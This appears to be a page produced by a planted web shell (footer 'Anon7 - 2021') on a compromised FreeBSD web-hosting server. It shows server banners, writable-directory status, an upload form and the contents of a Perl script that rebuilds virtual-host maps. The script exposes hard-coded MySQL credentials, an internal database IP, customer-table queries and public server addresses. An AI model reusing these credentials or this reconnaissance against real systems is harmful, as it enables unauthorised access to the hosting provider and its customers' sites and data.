KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.62
System : FreeBSD fbsdweb2.web.rcn.net 14.1-RELEASE FreeBSD 14.1-RELEASE releng/14.1-n267679-10e31f0946d8 GENERIC amd64
User : www ( 80)
PHP Version : 8.3.8
Disable Function : NONE
Directory :  /config/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //config/recreate_hh.pl
#/usr/bin/perl

$|++;

my $user = shift;

use lib qw(. /scripts);
use modDB qw(mysql hosting provision pr0v1s10n 192.168.25.115);

use NDBM_File;
use Fcntl;

my (@data) = modDB::fetchHashrefList(q[select hh.* from hostheaders hh, user_table u where u.status != 'cancelled' and u.username=hh.username and u.package_id in (31, 32, 33, 34, 35, 30)]);
my (@suspended) = modDB::fetchHashrefList(q[select * from hostheaders where username='system_suspended']);

push @data, (@suspended);

push @data, {host=>'216.164.45.51' , username=>'system_suspended'};
push @data, {host=>'216.164.45.110' , username=>'system_suspended'};
push @data, {host=>'216.164.45.111' , username=>'system_suspended'};
push @data, {host=>'216.164.45.112' , username=>'system_suspended'};


#domain_vhost_dbm

tie (%DB, 'NDBM_File', "/vhost_dbm" ,O_RDWR|O_TRUNC|O_CREAT, 0644) or die "Couldn't create $dbmmap!\n";
tie (%DB2, 'NDBM_File', "/domain_vhost_dbm_new" ,O_RDWR|O_TRUNC|O_CREAT, 0644) or die "Couldn't create $dbmmap!\n";
open(FILE,">/vhost_dbm.txt");
foreach $item (@data) {
  $DB{$item->{host}} = $item->{username};
  $DB2{$item->{host}} = "/domains/$item->{username}";
  print FILE "$item->{host} $item->{username}\n";
}

untie %DB;
untie %DB2;
untie %DB1;
`mv /vhost_dbm.db /config/vhost_dbm.db`;
`mv /domain_vhost_dbm_new.db /config/domain_vhost_dbm_new.db`;
`mv /vhost_dbm.txt /config/vhost_dbm.txt`;
`mv /config/domain_vhost_dbm_new.db /config/domain_vhost_dbm.db`;
close(FILE);


Anon7 - 2021